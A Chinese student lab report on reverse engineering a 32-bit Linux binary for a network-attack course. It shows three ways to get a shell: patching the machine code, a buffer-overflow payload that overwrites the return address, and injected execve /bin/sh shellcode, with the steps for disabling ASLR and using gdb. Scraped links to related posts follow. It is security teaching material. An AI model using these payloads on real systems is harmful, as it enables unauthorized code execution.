实验一

目录


一、修改机器指令

  • 首先你需要一个pwn1文件,使用cp命令复制到当前目录下
  • 反汇编,objdump -d pwn1
  • 查看main函数,当前call调用的是foo函数,我们通过修改调用函数的地址使其指向getShell

  • 使用vi pwn1编辑当前文件,并使用:%!xxd将其ASCII码改为16进制显示
  • 使用/d7搜索并找到要修改的相应位置

  • 使用:%!xxd -r变回ASCII码,保存退出
  • 再次查看,修改成功
  • 执行当前pwn1,出现shell环境

二、BOF攻击

通过一段大于foo函数能存储长度的buffer造成缓冲区溢出,从而覆盖掉这个函数,直接执行shell函数

  • 通过代码分析缓冲区的字符串为32字节

  • gdb执行一下pwn2,r运行,输入一段40字节长度的数据
  • 发生段错误,分析后八字节是哪四字节溢出

  • 所以将输入的后字节改为\xd7\x84\x04\x08(shellcode的起始地址0x080484d7)
  • 输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包含该字段的文件input(Perl -e:用于在命令行执行 Perl 命令)
  • 可以使用xxd input查看文件内容
  • 然后将input的输入,通过管道符|,作为pwn2的输入,覆盖返回地址:(cat input; cat) | ./input
  • 可以执行shell函数

三、注入Shellcode

shellcode在输入的时候被放入堆栈了,那么在堆栈里面就有机会把返回地址指向shellcode,实现攻击

  • 首先要设置堆栈可执行:
execstack -s pwn3    //设置堆栈可执行
execstack -q pwn3 //查询文件的堆栈是否可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询地址随机化是否关闭

0代表关闭,2代表开启

  • 采用老师提供的shellcode,输入
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  • 将写好的代码通过管道方式输入给程序中的foo函数进行覆盖 (cat input_shellcode;cat) | ./pwn2
  • 打开另外一个终端,用gdb来调试pwn2这个进程,要找到程序的进程号ps -ef | grep pwn2
  • 启动gdb调试这个程序,然后attach进程号
  • disassemble foo反编译,设置断点在返回地址处b *0x080484ae,继续运行c
  • 命中以后查看esp,esp后4个字节就是我们要找的返回值

    0xffffd34c+0x00000004 = 0xffffd350
  • 修改shellcode,重新执行
  • 成功

四、问题及解决

Q: 在Terminal利用./pwn1执行pwn1会出现没有那个文件或目录的提示,但是ls命令又能看到存在pwn1文件.
S: 64位的kali运行不了,装一个32位的库解决,也可以通过更新源解决,我输入了如下指令:apt-get install lib32z1

五、思考感悟

本次实验介绍了三种攻击方式,都是通过地址的修改来达到攻击目的,第二个实验要求的分析性更强一些,需要看出缓冲区buffer的长度来写出能覆盖至其返回地址后找到shellcode的的字符串。第三个任务是通过找到当前进程的esp,修改shellcode。w我觉得这次的实验思路还是挺简单的,巩固了之前的知识,拓宽了网络攻击的思路,很有意思。

2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 20165326的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M

    20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...

  3. 20155227《网络对抗》Exp1 PC平台逆向破解(5)M

    20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  4. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  5. 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解

    20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  6. 20145325张梓靖 《网络对抗技术》 PC平台逆向破解

    20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...

  7. # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟

    <网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...

  8. 20145206邹京儒《网络对抗技术》 PC平台逆向破解

    20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...

  9. 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解

    20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...

  10. 20145336张子扬 《网络对抗技术》 PC平台逆向破解

    #20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...

随机推荐

  1. shiro框架-配置

    才开始学没有什么理解分享一个博客写的比较详细  借鉴大佬的:https://www.cnblogs.com/maofa/p/6407102.html@阿发仔 https://blog.csdn.net ...

  2. Lyrics来源

    Lyre 里拉琴,古希腊语,在北欧流行至中世纪.   Lyrics in sheet music. This is a homorhythmic (i.e., hymn-style) arrangem ...

  3. lua调用不同lua文件中的函数

    a.lua和b.lua在同一个目录下 a.lua调用b.lua中的test方法,注意b中test的写法 _M 和 a中调用方法: b.lua local _M = {}function _M.test ...

  4. Python自学:第三章 使用方法sort( )对列表进行永久性排序

    cars = ["bmw", "audi", "toyota", "subaru"] cars.sort() print ...

  5. PHP随机生成要求位数个字符(大小写字母+数字)

    php随机生成要求位数个字符 /** * 随机生成要求位数个字符 * @param length 规定几位字符 */ function getRandChar($length){ $str = nul ...

  6. MPI编程——分块矩阵乘法(cannon算法)

    https://blog.csdn.net/a429367172/article/details/88933877

  7. 嵌套if-esle语句

    C语言自学之嵌套if-esle语句 Dome : 获奖条件为年销售业绩100万以上,并且入职满两年的员工.小明进入公司1年,销售业绩为120万. 在代码编辑器中使用嵌套if-else语句判断小明是否有 ...

  8. Myeclipse和idea对比

    新入的公司要用myeclipse,没办法,只能跟着队伍走.(myeclipse以下简写为me) 1.myeclipse的快捷键并不能设置鼠标滚轮之类的,之前在idea上配置滚轮下滚展开package, ...

  9. javascript高级程序设计第3版——第7章 函数表达式

    此张内容的难点在于闭包.而闭包又涉及到原型,原型链,执行上下环境,this的取值等知识点.(此章节对于闭包的内容篇幅较少,且写的很是艰涩难懂,推荐一位大牛的博客,对于闭包的前因后果以及作用机制写的很明 ...

  10. Python3 Tcp未发送/接收完数据即被RST处理办法

    一.背景说明 昨天一个同事让帮忙写个服务,用于接收并返回他那边提交过来的数据,以便其查看提交的数据及格式是否正确. 开始想用django写个接口,但写接口接口名称就得是定死的,他那边只能向这接口提交数 ...